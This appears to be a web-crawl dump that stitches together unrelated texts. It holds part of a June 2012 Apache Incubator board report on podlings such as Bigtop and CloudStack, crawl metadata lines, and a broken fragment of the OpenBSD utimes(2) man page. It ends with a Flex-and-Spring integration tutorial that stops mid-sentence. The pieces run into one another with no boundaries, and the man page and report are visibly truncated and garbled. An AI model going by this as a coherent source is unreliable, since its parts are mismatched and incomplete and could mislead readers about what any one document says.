project was still in process of graduating from the Incubator. The previously reported discussion about "distribution" releases reached a working consensus. See the Bigtop report for details. Cutting their first Apache release remains a big step for many podlings as seen in this month's report summary. o Legal / Trademarks The Flex trademark licensing deal is progressing. See the Flex report for details. o Infrastructure The many graduating projects are producing quite a bit of infrastructure work. This situation can be expected to continue for the next few months, as the number of podlings getting ready to graduate remains high. -------------------- Summary of podling reports -------------------- Still getting started at the Incubator (2 podlings) CloudStack, Crunch These projects are still getting started, so no immediate progress towards graduation is yet expected. Not yet ready to graduate (9 podlings) No release: Bloodhound, Cordova, Flex, Kalumet, S4, Openmeetings, Wave Low activity: Kato Low diversity: Bigtop We expect the next quarterly report of projects in this category to include a summary of their actions and progress in solving these issues. Ready to graduate (5 podlings) Etch, Flume, HCatalog, Isis, OpenOffice We expect these projects to graduate within the next quarter. --------------------: A discussion of whether publishing non-ASF, but AL licensed binary convenience artifacts as part of Bigtop release is #1 consistent with Apache Software Foundation policies #2 desirable by Apache Software Foundation resulted in a very productive email exchange: A consensus was reached that doing so does NOT seem to violate any established Apache Software Foundation policies Given a difference of opinion on #2 a compromise was reached: starting from Bigtop 0.4.0 release, the project will vote exclusively on source artifacts and it will NOT use ASF infrastructure for hosting the resulting binary convenience artifacts. This decision was explicitly approved by one of our mentors -- Alan Gates. Community development since last report: Patrick Taylor Ramsey added as a Bigtop committer Our regular Bay Area Bigtop meetup/class is going strong with ~15 members Bigtop meetup hackathon attracted more than 20 people: Started submission process for a talk at ACM Bigdata camp Major Hadoop vendors/shops are slowly embracing Bigtop and using it as a basis of their infrastructure: - Cloudera: - HortonWorks: - Some uptake at EBay - Some uptake at TrendMicro Project development since last report: - released Bigtop 0.3.0-incubating - 0.4.0-incubating is on schedule to be release end of June 2012 - started working on supporting Giraph - started working on supporting Hue - started working on supporting Hama - used Bigtop to validate Hadoop 1.0.* RC and Hadoop 2.0.0-alpha RC releases - used Bigtop to validate HBase 0.92 RC - used Bigtop to validate Oozie 3.2 RC - increased the # and scope of integration tests - major re-factoring of package tests Signed off by mentor: phunt, tomwhite Shepherd: Matt Franklin -------------------- Bloodhound adding, and should help community diversity by increasing the exposure of the project. Signed off by mentor: hwright, gstein Shepherd: Dave Fisher -------------------- CloudStack CloudStack is an IaaS (“Infrastracture as a Service”) cloud orchestration platform. CloudStack has been in incubation since 2012-04-16 CloudStack has been in the incubator for approximately 1.5 months. Mailing lists have migrated, accounts for the initial committers have been set up, and the initial code drop/git repo has been setup. Many new names are now participating in conversations on the mailing lists, with several of them volunteering to help move things along. The number of submitted patches from 'new names' in the month of May is in the double digits, and range from trivial one line fixes to two major patches with over 1,000 changed lines each. The community is beginning to exercise some of its decision making power by deciding about release tempo, future version schemes and numbers, and a number of other internal plumbing issues. Much remains to be done in preparation for the initial release, and those tasks are being identified. We also have a number of external resources (bug tracker, wiki, CI) that are still awaiting migration. Top 3 Issues to address in move towards graduation - The project is using source and binaries with a number of non-ASF-approved licenses. This needs remediation. - Diversity of the contributor base still needs to be expanded. - While we are making progress, there still remains a number of large pieces (bug tracker, wiki, test infra) that still need to be migrated to ASF infrastructure. Any issues that the Incubator PMC (IPMC) or ASF Board wish/need to be aware of? No issues that we are aware of at this point. How has the community developed since the last report? See the above narration, but generally speaking the community is beginning to exercise its decision making powers, largely around internal plumbing issues at the moment. We are also seeing a number of new developers submitting patches. How has the project developed since the last report? The project continues to have many issues to tackle for its first release and is identifying and moving forward on those issues. Work continues on solutions to remove the need to massive (or any) amount of additional hardware to test/develop with in an effort to lower the barrier to participate. Signed off by mentor: -------------------- Cordova Apache Cordova is a platform for building native mobile applications using HTML, CSS and JavaScript. The project entered incubation as Apache Callback in October, 2011, before changing its name to Cordova. - completed code migration to Cordova namespace - documentation updated for migration inc getting started guides - cordovajs migration for: ios, android, blackberry, wp7, bada - cordovajs migration remains for: webos and qt - Shaz crushed crazy iOS local storage bug; his solution getting a tonne of attention in iOS community - Tim Kim voted as committer - Intel contribution of initial Tizen src identified; they have submitted CCLA and we are waiting on ICLAs for their devs - RAT tool verified all platforms - Gord Tanner voted as committer - Mike spearheaded new Upgrading Guides, Domain Whitelisting - Downstream project shipped 1.7, and 1.8 Graduation concerns: official apache release artifacts remain to be verified by a mentor Signed off by mentor: jukka -------------------- Crunch Crunch is a Java library for writing, testing, and running pipelines of MapReduce jobs on Apache Hadoop. Crunch entered incubation on May 27, 2012. Community - Mailing lists have been created. - New committer accounts are being created, some pending ICLAs. - The Incubator status page has been created. Issues Before Graduation - Create Confluence instance. - Create JIRA issue tracker (CRUNCH) - Migrate code to Apache Git repository from Cloudera's GitHub repository. - Create Crunch website. - Make an incubating release. - Grow the size and diversity of the community. Licensing and other issues Work to obtain CCLA from Cloudera regarding license grant for existing Crunch GitHub repository is underway. Signed off by mentor: phunt --------------------:: Martijn Dashorst Shepherd: Jukka Zitting -------------------- Flex submitted an initial proposal for the agreement at the end of May. (INFRA-4380). We just got news that this should now be resolved, the PPMC is testing the results of the import before activating it... See May 2012 report for other concerns related to JIRA and svn imports, but as mentioned above it looks like the JIRA import problems are fixed now. Signed off by mentor: greddin, wave Shepherd: Matt Franklin -------------------- - Move the active development branch - flume-728 to trunk: Completed. - Flume version 1.1.0-incubating released from trunk on March 27, 2012 - Flume PPMC voted three new committers: Hari Shreedharan, Mike Percy and Will McQueen - Flume PPMC voted in a new PPMC member: Prasad Mujumdar - Development work going strong 146 issues resolved since last submitted report. - The flume-dev list has currently 103 subscribers with traffic of 3410 messages over last three months. - The flume-user list has currently 250 subscribes with traffic of 415 messages over last three months. - A Flume user meetup is being organized on June 13 in San Francisco Bay Area and has attendance to the planned capacity. Progress on graduation: - Community vote: PASSED. Vote (1), Result (2) - Incubator PMC Vote:) Signed off by mentor: phunt, tomwhite Shepherd: Dave Fisher -------------------- HCatalog HCatalog is a table and storage management service for data created using Apache Hadoop. HCatalog entered Apache incubator on March 2011. Since the last report: - We completed our second release from incubator releasing HCatalog 0.4 - PPMC voted in Francis Liu as a new PPMC member. - PPMC voted in Travis Crawford, Daniel Dai, Vandana A as new committers. Currently there are 90 subscribers to the user list and 77 on the dev list. There were 85 and 77 respectively last report (March 2011). Blockers for Graduation: None. We feel we are ready for graduation and will soon start the discussion on the list for it. - Removing modules that provide low/no value - Internal refactoring to simplify codebase - Started work integrating with OpenJPA Community Development - Isis has been selected as the basis for a new project - expected to include some funding for Isis' development - expected to run Jul~Dec 2012 - Mailing list remains reasonably active, some new correspondents - Restful Objects spec now complete, implemented by Isis and by (non-Apache) Naked Objects MVC open source project - submitted to OOPSLA - InfoQ article lined up for publication - presenting RO at 1-day conference Top 3 Issues to address in move towards graduation - only really one issue: need to demonstrate can bring in at least one new committer. At that point, we feel that we have done enough to warrant graduation (as a small but viable community) - hopeful that the new project currently starting will yield a new committer - the ongoing simplification of codebase should also make the codebase more approachable We don't believe that any of these issues requires Board attention. New Releases - None in this period - intention is to release 0.3.1 prior to next report Signed off by mentor: struberg Shepherd: Jukka Zitting -------------------- Kalumet Apache Kalumet is a complete platform to administrate data center. It covers the operating system tasks, middleware provisioning, etc. Kalumet entered incubation in September 2011. Community Developement: We are now working on the user guide, developer guide, etc. Blogs are in preparation to explain and introduce Kalumet. Project Development: We fixed console look and feel, issue on the model and agent, ready for a first release. Jira issues have been created to define the roadmap. In order to give visibility to the project, we plan to cut off a first 0.6-incubator release (as preview) next week. After the "preview" release, a QA campaign will start, including review on the documentation. It will head to a 1.0.0-incubator release. Web Site/Communication Development: The new website content has been deployed, including new sections. The documentation (user guide, etc) will be uploaded to the website. It's now available: Any issues that the Incubator PMC (IPMC) or ASF Board wish/need to be aware of: None so far. Top issues before graduation: - complete and publish the documentation guides (user guide for both agent and console, installation guide, started guide, etc) - cut off a couple of incubator release Signed off by mentor: jbonofre, olamy -------------------- Kato (Report by the Shepherd) Sadly, this podling seems to have expired. There has been no traffic on any mailing lists since last report, and the last words were to the effect that no one is left with time to spend. The IPMC will most likely wind this up and store it into the attic before the next report. Signed off by mentor: Shepherd: Benson Margulies --------------------.: rgardler Shepherd: Matt Franklin --------------------. report.. Spam issues with the support Forums (reported in March) has been completely eradicated from community English forum with new counter measures (new users moderation and new moderators). A new root admin (imacat) has been promoted and is now taking the job to insure smooth running and consistency with infra requirements. The developer list, ooo-dev, now has 409 subscribers and is very active with post averaging about 100 per day Signed off by mentor: joes, No infrastructure issues. 3. Grow the community. The activity around the project has been low and the project simply cannot graduate without substantially increasing its activity. We expect to get increased interest once we get a release out, in particular of the S4-Piper design. We don't have a release date yet, though. Additionally, committers have been having internal discussions with their companies and outside with their colleagues to attract more attention to the project. We have been able to attract some attention, but unfortunately that attention has not yet translated into more activity around the project. Project activity: - 55 Jira issues created to date - 10 issue reporters - 5 contributors according to Jira - Number of users subscribed to the mailing lists: 75 on dev (55 in the previous report), 91 on user (72 in the previous report) Signed off by mentor: phunt Shepherd: Jukka Zitting --------------------. - Extending the features set to match the features of Google Wave: Full text search, Archiving/Folders, Tags. Community: The mailing lists activity is stable and judging by questions on the mailing list - WIAB is already being used by private organizations and persons. There are also several commercial/open applications based on WIAB, like co-meeting.com and kune.cc. Jira Activity: - 18 new issues opened since last report. - 11 issues resolved since last report. Commits: - 30 commits to SVN. Project development: Upgraded the search implementation to use Lucene index instead of in-memory map. Upgraded "Add Gadget popup" - now it allows to search gadgets by name/description and also to filter by categories. Added more gadgets to the Gadget Gallery - now it includes about 75 definitions of gadgets supported by Wave. Some more small improvements and bug fixes. Some more developments not yet finished but in progress: - Migration to Maven - Full text search Signed off by mentor: Upayavira Shepherd: Ross Gardler - What is missing is new committers (none voted in since entering the incubator) and a release (none made yet). However the report does not address these two items. --------------------
https://wiki.apache.org/incubator/June2012
CC-MAIN-2018-09
refinedweb
2,660
53.1
, ... UTIMES(2) OpenBSD Programmer's Manual UTIMES(2) NAME utimes - set file access and modification times SYNOPSIS #include <sys/time.h> int utimes(const char *file, const struct timeval *times); int futimes(int fd, const struct timeval *times);imes() times points outside the process's allocated ad- dress space. [EIO] An I/O error occurred while reading or writing the affected in() will fail if: [EBADF] fd does not refer to a valid descriptor. [EACCES] The times argument is NULL and the effective user ID of the process does not match the owner of the file, and is not the super-user,) HISTORY The utimes() function call appeared in 4.2BSD. The futimes() function call appeared in NetBSD 1.2. OpenBSD 2.6 June 4, 1993 2
http://www.rocketaware.com/man/man2/utimes.2.htm
crawl-002
refinedweb
127
60.85
Hi! I would like to make an ordinary dictionary from english to norwegian, but I have a problem. I am using this sentence as an example: "I read the book" The problem isn't the first two words, but the last ones. :-/ The program should replace "the book" to "boka". Here is the code so far: import re words = {'i':'jeg','read':'leste','the book':'boka'} while True: sentence =input('Write something:') if sentence == 'quit': break sentence = sentence.split() result = [] for word in sentence: word_mod = re.sub('[^a-z0-9]', '', word.lower()) punctuation = word[-1] if word[-1].lower() != word_mod[-1] else '' if word_mod in words: result.append(words[word_mod] + punctuation) else: result.append(word) result = ' '.join(result).split('. ') print('. '.join(s.capitalize() for s in result)) print('See you!') I appreciate all the help I can get very much. :icon_smile: Thank you in advance!
https://www.daniweb.com/programming/software-development/threads/262129/please-help-me-with-my-dictionary-problem
CC-MAIN-2018-30
refinedweb
145
60.61
I have a RDD[String] which contains following data: data format : ('Movie Name','Actress Name') ('Night of the Demons (2009) (uncredited)', '"Steff", Stefanie Oxmann Mcgaha') ('The Bad Lieutenant: Port of Call - New Orleans (2009) (uncredited)', '"Steff", Stefanie Oxmann Mcgaha') ('"Please Like Me" (2013) {All You Can Eat (#1.4)}', '$haniqua') ('"Please Like Me" (2013) {French Toast (#1.2)}', '$haniqua') ('"Please Like Me" (2013) {Horrible Sandwiches (#1.6)}', '$haniqua') I want to convert this to RDD[String,String] such as first element within ' ' will be my first String in RDD and second element within ' ' will be my second String in RDD. I tried this: val rdd1 = sc.textFile("/home/user1/Documents/TestingScala/actress" val splitRdd = rdd1.map( line => line.split(",") ) splitRdd.foreach(println) but it's giving me an error as : [Ljava.lang.String;@7741fb9 [Ljava.lang.String;@225f63a5 [Ljava.lang.String;@63640bc4 [Ljava.lang.String;@1354c1de [Ljava.lang.String;@7741fb9is not an error, This is wt is printed when you try to print an array. [ - an single-dimensional array L - the array contains a class or interface java.lang.String - the type of objects in the array @ - joins the string together 7741fb9 the hashcode of the object. To print String arrayyou can try this code: import scala.runtime.ScalaRunTime._ splitRdd.foreach(array => println(stringOf(array))) Source It's not an error. we could also use flatMap() here to avoid confusion, val rdd1 = sc.textFile("/home/user1/Documents/TestingScala/actress" rdd1.flatMap( line => line.split(",")).foreach(println) Here, The input function to map returns a single element (array), while the flatMap returns a list of elements (0 or more). Also, the output of the flatMap is flattened. Since it is csv file with field-enclosed & row-enclosed, you need to read the file using regular expressions. Simple split doesn't work. Try this to convert RDD[String] to RDD[String,String] val rdd1 = sc.textFile("/home/user1/Documents/TestingScala/actress" val splitRdd = rdd1.map( line => (line.split(",")(0), line.split(",")(1)) ) The above line returns the rdd as key, value pair [ Tuple] RDD.
http://www.dlxedu.com/askdetail/3/8b523b3db75509cf8b7f65d6d20460ec.html
CC-MAIN-2018-47
refinedweb
343
59.5
Google Maps was implemented in Flutter late last year and people were excited to use the plugin. However, there are an increasing number of people who are excited on the progress of Flutter Web. However, the flutter team did not release an official flutter web implementation of google maps. Lucky for you guys, here is a quick guide on how to implement Google Maps in Flutter Web. First, you need the Google Map api keys. Before initialising, you have to have a project in your Google Cloud Platform. Create one if you don't have one. Next, search for "Javascript Map" and enable it. Otherwise, the api key will shout an error that says the google map service is not activated. Initialise the google map js sdk in our index.html file. <script src="<YOUR-API-KEY>"></script> And import google_maps in pubspec.yaml: dependencies: google_maps: ^3.4.1 And here is how you create a google map widget. import 'dart:html'; import 'package:flutter/material.dart'; import 'package:google_maps/google_maps.dart'; import 'dart:ui' as ui; Widget getMap() { String htmlId = "7"; // ignore: undefined_prefixed_name ui.platformViewRegistry.registerViewFactory(htmlId, (int viewId) { final myLatlng = LatLng(1.3521, 103.8198); final mapOptions = MapOptions() ..zoom = 10 ..center = LatLng(1.3521, 103.8198); final elem = DivElement() ..id = htmlId ..style.width = "100%" ..style.height = "100%" ..style.border = 'none'; final map = GMap(elem, mapOptions); Marker(MarkerOptions() ..position = myLatlng ..map = map ..title = 'Hello World!' ); return elem; }); return HtmlElementView(viewType: htmlId); } htmlId - a unique id to name the div element ui.platformViewRegistry.registerViewFactory - creates a webview in dart LatLng(1.3521, 103.8198) - class that takes latitude and longitude of a location DivElement() - class to create a dive element GMap - creates a google map element Marker() - the red icon that shows in your LatLng in google map HtmlElementView() - creates a platform view for Flutter Web You can customise the animation and looks of your marker, here. You can add a info windows as such: final marker = Marker(MarkerOptions() ..position = myLatlng ..map = map ..' + '<p>Attribution: Uluru, <a href="">' + '</a> ' + '(last visited June 22, 2009).</p>' + '</div>' + '</div>'; Hope you find this tutorial useful! Discussion I have been looking for this, how would it work with a list of Markers? Hi, good job with the article and video! This looks very web specific to me. Do you know any cross platform way, to have Google Maps in your Flutter app? (including a web version)
https://practicaldev-herokuapp-com.global.ssl.fastly.net/happyharis/flutter-web-google-maps-381a
CC-MAIN-2020-45
refinedweb
403
60.01
Extension Methods Extension methods are a language feature that allows static methods to be called using instance method call syntax. These methods must take at least one parameter, which represents the instance the method is to operate on. The class that defines such extension methods is referred to as the "sponsor" class, and it must be declared as static. To use extension methods, one must import the namespace defining the sponsor class. X AVOID frivolously defining extension methods, especially on types you don’t own. If you do own source code of a type, consider using regular instance methods instead. If you don’t own, and you want to add a method, be very careful. Liberal use of extension methods has the potential of cluttering APIs of types that were not designed to have these methods. √ CONSIDER using extension methods in any of the following scenarios:. When an instance method would introduce a dependency on some type, but such a dependency would break dependency management rules. For example, a dependency from String to System.Uri is probably not desirable, and so String.ToUri() instance method returning System.Uri would be the wrong design from a dependency management perspective. A static extension method Uri.ToUri(this string str) returning System.Uri would be a much better design. X AVOID defining extension methods on System.Object. VB users will not be able to call such methods on object references using the extension method syntax. VB does not support calling such methods because, in VB, declaring a reference as Object forces all method invocations on it to be late bound (actual member called is determined at runtime), while bindings to extension methods are determined at compile-time (early bound). Note that the guideline applies to other languages where the same binding behavior is present, or where extension methods are not supported. X DO NOT put extension methods in the same namespace as the extended type unless it is for adding methods to interfaces or for dependency management. X AVOID defining two or more extension methods with the same signature, even if they reside in different namespaces. √ CONSIDER defining extension methods in the same namespace as the extended type if the type is an interface and if the extension methods are meant to be used in most or all cases. X DO NOT define extension methods implementing a feature in namespaces normally associated with other features. Instead, define them in the namespace associated with the feature they belong to. X AVOID generic naming of namespaces dedicated to extension methods (e.g., "Extensions"). Use a descriptive name (e.g., "Routing") instead..
https://msdn.microsoft.com/en-us/library/dn169395(v=vs.110).aspx
CC-MAIN-2015-11
refinedweb
436
56.15
Transilator is a Chrome extension that translates and then synthesizes text on your screen to natural sounding speech. In this tutorial, I'll show you how I built it. To view the code, click here Here's a demo of the extension: This is part 1 of a 3 part series going into adding Machine Learning and AI capabilities to your app using AWS Amplify Predictions. Part 1 - Building Transilator: Language detection of text, text translation, and natural speech synthesization. Part 2 - Image entity recognition - Building a field guide for exploring nature. Part 3 - Text recognition from images - Turning conference badges into contacts. About this extension Translitor allows you to highlight text on your screen and read it back in the language of your choice. Features - Lifelike speech that is pleasant to listen to - Languages outputs supported: arabic, english, chinese, dutch, spanish, portugese, danish, hindi, italian, japanese, korean, norwegian, polish, russian, swedish, turkish - Language inputs supported: dutch, portugese, english, italian, french, spanish Use cases - Learning a new language / how words should be pronounced - Listening to a news article, documentation, or blog post - Users with vision problems / accessibility related use cases - Listening to emails - Listening to translated content from other languages to your language - Reviewing a blog post / tweet before publishing it - General multitasking (working on some things while listening to others) Getting started There are two main parts to this tutorial: - Creating the Amplify project and creating the ML and AI services - Building the Chrome extension and connecting to the ML and AI services created in step 1 Part 1 - Creating the ML & AI services with Amplify AWS Amplify is framework for building cloud-enabled applications that includes a CLI (for creating and managing services), a client library (for connecting to the APIs created by the CLI), a UI library (for making things like authentication simpler), and a hosting platform with CI & CD. In this tutorial we will use the CLI to create the services and the Amplify client library to interact with those APIs. Creating the project. We want to use modular and modern JavaScript to build our extension, therefore we need to use Webpack (or something like it). A perfect starter project already exists, a Chrome extension boilerplate that uses Webpack (click here to view it). Clone this boilerplate and then change into the new directory: git clone git@github.com:samuelsimoes/chrome-extension-webpack-boilerplate.git cd chrome-extension-webpack-boilerplate If you do not already have the Amplify CLI installed and configured, click here to see a video walkthrough of how to do this. Next, initialize a new Amplify project: $ amplify init Next, we'll add the services that we'll need using the predictions category. Text interpretation We'll start by adding text interpretation: $ amplify add predictions ? Please select from of the below mentioned categories: ❯ Interpret ? What would you like to interpret? ❯ Interpret Text ? Provide a friendly name for your resource: (interpretText<XXXX>) ? What kind of interpretation would you like? ❯ All ? Who should have access? ❯ Auth and Guest users Text translation Next, we'll add text translation: $ amplify add predictions ? Please select from of the below mentioned categories: ❯ Convert ? What would you like to convert? ❯ Translate text into a different language ? Provide a friendly name for your resource: (translateText<XXXX>) ? What is the source language? ❯ Choose any language, we will change this dynamically later in our app ? What is the target language? ❯ Choose any language, we will change this dynamically later in our app ? Who should have access? ❯ Auth and Guest users Speech synthesization Next, we want to add a way to take the text translation and synthesize speech. $ amplify add predictions ? Please select from of the below mentioned categories: ❯ Convert ? What would you like to convert? ❯ Generate speech audio from text ? Provide a friendly name for your resource (speechGenerator<XXXX>) ? What is the source language? ❯ Choose any language, we will change this dynamically later in our app ? Select a speaker ❯ Choose any speaker, we will change this dynamically later in our app ? Who should have access? ❯ Auth and Guest users Now, we have all of the API configurations created and we can create the services by running the Amplify push command: amplify push Now the services have been deployed and we can continue creating the Chrome extension! Part 2 - Building the extension. Chrome extension overview Chrome extensions are made up of a few main files: Read more about the basics of chrome extensions here. The below file definitions are copied from this post. manifest.json - This file bootstraps your extension and provides meta data like versioning. Without this, you have no extension. background scripts (background.js) - The heart and soul of your extension. This is where you create a listener to actually trigger the popup when users click you icon. All “hard” business logic and native browser interaction should go in here as much as possible. content scripts (content.js) - Content scripts can be injected into the tabs in the browser and access the DOM in the context of a browser session. This is where you can add new DOM elements, add extra listeners etc. Content scripts are optional popup UI (popup.js & popup.html) - The little app you see when clicking/activating an extension. Can be built with any framework like React or Vue or just vanilla JS. We are using vanilla JS. In this extension, I am using the popup UI and content scripts to control most of the behavior. In popup.js, there is logic that allows the user to choose the language they would like to translate their text to. In content.js, there is a listener that listens to events that happen in popup.js so we can send messages back and forth between the two. When the user chooses a language, we call the following method in popup.js: // popup.js chrome.tabs.query({active: true, currentWindow: true}, function(tabs) { chrome.tabs.sendMessage(tabs[0].id, {language}, function(response) { console.log('response: ', response) }); }); Then, in content.js, we can receive that message and update the local state by attaching a listener for the current page: // content.js chrome.runtime.onMessage.addListener( function(request, sender) { if (!sender) return state.setLanguage(request.language) return true }) These two functions are what controls the data flow between the chrome extension UI and the actual code running on the user's browser. Building it out The next thing we need to do to continue is install the Amplify library: npm install aws-amplify Next, we need to add the content script. This boilerplate by default doesn't have this, so we will add it manually. touch src/js/content.js Now, update the manifest.json and add the following to enable the new content script and allow the content script to work on the currently active tab: "permissions": ["activeTab"], "content_scripts": [{ "matches": ["*://*/*"], "js": ["content.bundle.js"], "run_at": "document_end" }], Next, we need to update the webpack config to also process the content.js script: entry: { popup: path.join(__dirname, "src", "js", "popup.js"), options: path.join(__dirname, "src", "js", "options.js"), background: path.join(__dirname, "src", "js", "background.js"), content: path.join(__dirname, "src", "js", "content.js") }, chromeExtensionBoilerplate: { notHotReload: ["content"] }, Here we exclude the content script from hot reloading and add the new entrypoint to the entry configuration. popup.js In popup.js we set up an event listener for clicks in the popup. When the user clicks on a language, we then send a message to the content script with an object that contains the chosen language. We also have a function that adds a new class to the button to darken the background and let the user know it is selected. import "../css/popup.css"; window.addEventListener('DOMContentLoaded', () => { var buttons = document.getElementsByClassName("lang-button"); Array.from(buttons).forEach(function(button) { button.addEventListener('click', function(item) { Array.from(buttons).forEach(item => item.classList.remove("button-selected")) item.target.classList.add("button-selected") const language = item.target.dataset.id chrome.tabs.query({active: true, currentWindow: true}, function(tabs) { chrome.tabs.sendMessage(tabs[0].id, {language}, function(response) { console.log('response: ', response) }); }); }); }); }); content.js Content.js is where most of our code lives. Here, there is an event listener to listen for a mouseup event and three main functions that run if any text is selected: interpretFromPredictions - This function interprets the language of the selected text: function interpretFromPredictions(textToInterpret) { Predictions.interpret({ text: { source: { text: textToInterpret, }, type: "ALL" } }).then(result => { const language = result.textInterpretation.language const translationLangugage = state.getLanguage() translate(textToInterpret, language, translationLangugage) }) .catch(err => { console.log('error: ', err) }) } translate - This function translates the highlighted text into the language chosen by the user. function translate(textToTranslate, language, targetLanguage) { Predictions.convert({ translateText: { source: { text: textToTranslate, language }, targetLanguage } }).then(result => { generateTextToSpeech(targetLanguage, result.text) }) .catch(err => { console.log('error translating: ', err) }) } generateTextToSpeech - Once the translation is complete, the last step is to synthesize it into natural speech. function generateTextToSpeech(language, textToGenerateSpeech) { const voice = voices[language] Predictions.convert({ textToSpeech: { source: { text: textToGenerateSpeech, }, voiceId: voice } }).then(result => { console.log('result: ', result) let AudioContext = window.AudioContext || window.webkitAudioContext; console.log({ AudioContext }); const audioCtx = new AudioContext(); if (source) { source.disconnect() } source = audioCtx.createBufferSource(); audioCtx.decodeAudioData(result.audioStream, (buffer) => { source.buffer = buffer; source.playbackRate.value = 1 source.connect(audioCtx.destination); source.start(0); }, (err) => console.log({err})); // setResponse(`Generation completed, press play`); }) .catch(err => { console.log('error synthesizing speech: ', err) }) } The service used for the voice synthesization is Amazon Polly. Amazon Polly has different voices for the languages that are translated (see the list here. In the generatedTestToSpeech function we use the language to determine the voice: // Voice data const voices = { ar: "Zeina", zh: "Zhiyu", da: "Naja", nl: "Lotte", en: "Salli", ... } // Get proper voice in the function: const voice = voices[language] To set and update the language chosen by the user we have a basic state machine: const state = { language: 'en', getLanguage: function() { return this.language }, setLanguage: function(language) { this.language = language } } To view all of the code for content.js, click here. Finally in popup.html we render the buttons to choose the different languages. <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <p class="heading">Choose Language</p> <div class="list"> <h4 class='lang-button' data-English</h4> <h4 class='lang-button' data-Spanish</h4> <h4 class='lang-button' data-Portugese</h4> <h4 class='lang-button' data-Chinese</h4> <h4 class='lang-button' data-Arabic</h4> <h4 class='lang-button' data-Danish</h4> <h4 class='lang-button' data-Dutch</h4> <h4 class='lang-button' data-Hindi</h4> <h4 class='lang-button' data-Italian</h4> <h4 class='lang-button' data-Japanese</h4> <h4 class='lang-button' data-Korean</h4> <h4 class='lang-button' data-Norwegian</h4> <h4 class='lang-button' data-Polish</h4> <h4 class='lang-button' data-Russian</h4> <h4 class='lang-button' data-Swedish</h4> <h4 class='lang-button' data-Turkish</h4> </div> </body> </html> Next, use the css in popup.css or create your own styling for the popup menu in popup.css. Building and deploying the extension Now the extension is completed and we can try it out. To run webpack and build the extension, run the following command: npm run build Now you will see that the build folder is populated with the extension code that has been bundled by webpack. To upload and use the extension: - Visit chrome://extensions (menu -> settings -> Extensions). - Enable Developer mode by ticking the checkbox in the upper-right corner. - Click on the "Load unpacked extension..." button. - Select the directory containing your unpacked extension. To view the completed codebase, click here My Name is Nader Dabit. I am a Developer Advocate at Amazon Web Services working with projects like AWS AppSync and AWS Amplify. I specialize in cross-platform & cloud-enabled application development. Discussion (6) simply awesome, thanks for sharing Nader 👏 Thank you! this is amazing Thanks Eric 💯 Awesome! I've been learning some aws concepts and started to dive into amplify, most of the good guides|content about amplify framework have your name on it. Just wanted to give you a big thanks! Thank you so much!!
https://dev.to/dabit3/how-to-build-an-ai-enabled-natural-language-synthesization-chrome-extension-1bhl
CC-MAIN-2022-05
refinedweb
2,011
50.23
Using Flex with Spring UPDATE (1/27/2008): The approach described in this article is now obsolete. Adobe and SpringSource are now collaborating on an open source project called: Spring BlazeDS integration. You can read more about the project and download the bits here:. I also wrote a Test Drive providing out-of-the-box examples using this project. The test drive is available here. UPDATE (1/12/2007): I put together a Tomcat-based Test Drive Server that includes the samples described below running out-of-the box. Read this post for more info. What is Spring? examples 2 and 3 below. More information on the Spring framework can be found at. What is Flex? Flex provides a complete solution online API documentation is available here in a Javadoc-like format. The Flex source code (.mxml and .as files) is compiled into Flash bytecode (.swf) that is executed at the client-side by the Flash virtual machine using a Just-In-Time compiler. A complete discussion of Flex is beyond the scope of this document. You can find more information at. How does Flex access back-end systems? When writing Flex applications, you can access back-end systems using four different strategies: -. In this document, we focus on the Remoting (3) and Data Management Services (4) approaches described above because they enable the tightest integration with Spring. There is no need to transform data, or to expose services in a certain way: the Flex application works directly with the beans registered in the Spring IoC container. How does Flex access Spring beans?). The supporting files available with this document include a factory class (SpringFactory) that provides Flex destinations with fully initialized (dependency-injected) instances of Spring beans. Note: The SpringFactory was developed by Jeff Vroom (Flex Data Services architect) and is also available on Adobe Exchange. The remaining of this article describes how to configure your web application to use Flex and Spring, how to configure the Spring Factory, and how to put the pieces together and start invoking Spring beans from Flex applications. Setting Up your Web Application to Use Flex and Spring Step 1: Install the supporting files flex-spring.zip includes the Spring factory as well as the supporting files for the examples below. Step 2: Install Flex Data Services To use the Remoting and Data Management Services data access strategies described above, you need to install the Flex Data Services. If you haven’t already done so, you can download the Flex Data Services here, and follow the installation instructions. The installation process will install three web applications (flex, samples, and flex-admin). You can use either the flex or samples web application to run the examples below. You can read more information on the installation process here: Step 3: Install Spring Note: A complete discussion of the Spring installation process is beyond the scope of this article. Refer to for more information. The steps below describe a basic configuration that is sufficient for the purpose of this article. - Download the Spring framework (version 2.0) at (the version without dependencies is sufficient to complete the examples in this article). Note: The examples below have been developed and tested using Spring 2.0. However the integration approach described in this document (and the SpringFactory class) should work fine using Spring 1.2.8 (some of the examples might not work because they use Spring 2.0 features). - Expand the downloaded file - Locate spring.jar in the dist directory and copy it in the {context-root}\WEB-INF\lib directory of your web application - Modify the web.xml file of your web application. Add the context-param and listener definitions as follows: Step 4: Register the Spring Factory - Copy SpringFactory.class and SpringFactory$SpringFactoryInstance.class from flex-spring-sdk\bin\flex\samples\factories to {context-root}\WEB-INF\classes\flex\samples\factories - Register the Spring factory in {context-root}\WEB-INF\flex\services-config.xml: Example 1: Mortgage Calculator Using Flex Remoting This first application is intentionally simplistic in its functionality to provide an uncluttered example of wiring Spring beans together and invoking them from a Flex application. Step 1: Copy the application files - Copy RateFinder.class, SimpleRateFinder.class, and Mortgage.class from flex-spring-sdk\bin\flex\samples\spring\mortgage to {context-root}\WEB-INF\classes\flex\samples\spring\mortgage - Copy mortgage.mxml from flex-spring-sdk\flex\mortgage to {context-root}\mortgage Step 2: Register Spring Beans - Before registering the Spring beans for this application, open RateFinder.java, SimpleRateFinder.java and Mortgage.java in flex-spring-sdk\src\flex\samples\spring\mortgage to familiarize yourself with the source code.. - If it doesn’t already exist, create a file named applicationContext.xml in {context-root} {context-root}\WEB-INF\flex. - Add a mortgageService destination as follows: Notice that we use the spring factory defined above (see “Register the Spring Factory”), and we provide the name of the Spring bean as defined in applicationContext.xml as the source. Step 4: Run the Client Application - Open {context-root}\mortgage\MortgageCalc.mxml in a code editor to familiarize yourself with the application. Notice that the RemoteObject destination is the mortgageService destination defined above. - Open a browser, access, and test the application: Enter a loan amount and click “Calculate” to get the monthly payment for a 30 year mortgage. Note: that there is a delay the first time you access an application in this manner. This is because we are using the web compiler which compiles your application into bytecode the first time it is accessed (similar to the JSP compilation model). Subsequent requests to the same application will be much faster since the application is already compiled. In a production environment, you would typically deploy applications that have already been compiled using the Flex compiler available as a command-line utility or fully integrated in FlexBuilder (the Eclipse-based development environment for Flex). Depending on your configuration, you may need to increase the heap size of your application server’s JVM to use the web compiler. This would not be required in a production 